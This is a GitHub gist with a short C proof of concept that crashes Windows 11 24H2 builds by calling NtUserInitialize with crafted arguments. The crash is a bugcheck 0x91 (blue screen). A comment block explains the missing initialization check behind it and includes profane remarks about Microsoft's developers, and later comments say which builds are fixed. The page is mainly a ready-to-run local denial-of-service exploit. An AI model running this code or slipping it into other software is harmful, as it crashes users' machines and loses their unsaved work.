Last active
October 20, 2024 13:31
-
-
Save hfiref0x/f731e690e6155c6763b801ce0e497db7 to your computer and use it in GitHub Desktop.
Windows 11 Next-Gen (24H2) NtUserInitialize BSOD
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Windows 11 builds starting from 259XXX (24H2) switched to new way of storing win32k global variables, using WIN32KSGD.sys | |
driver which now allocates huge structure where it hold a lot of session related information, apiset tables etc. | |
However due to heavy remake there are new bugs introduced - one of it is a BSOD generator inside win32kbase!Win32kBaseUserInitialize | |
(which is ultimate destination of apiset obscure NtUserInitialize call). | |
What they did is removed a check if USER was already initialized, thus every code calling NtUserInitialize will go further and lay into | |
TCB privileges checking part which of course will fail in 99.99% situations and cause Windows to do bugcheck 0x91 | |
WIN32K_INIT_OR_RIT_FAILURE. | |
This is a brilliant bug. Not sure if Rust is able to circumvent impact of newest generation of MS dudes incompetence so lets do some | |
Rust over Rust. Smart pointers, garbage collectors (garbage collectors for garbage collectors, smart pointers for smart pointers! | |
moar this bullshit, need moar), etc, just as all you love it. | |
This bug was found using NtCall64 v1.3.7 | |
*/ | |
#include <windows.h> | |
typedef LONG (WINAPI* pfnNtUserInitialize)( | |
ULONG_PTR reg1, | |
ULONG_PTR reg2, | |
ULONG_PTR reg3, | |
ULONG_PTR reg4); | |
int main() | |
{ | |
pfnNtUserInitialize pfn; | |
LoadLibrary(L"user32.dll"); | |
HMODULE hWin32u = GetModuleHandle(L"win32u.dll"); | |
pfn = (pfnNtUserInitialize)GetProcAddress(hWin32u, "NtUserInitialize"); | |
if (pfn) | |
pfn(0x00007FFFFFFEFFFF, 0xFFFF800000000000, 0x00007FFFFFFFFFFE, 0x000000000000FFFF); | |
} |
Fixed after checking 27723 build.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Unfixed as of 26212 build.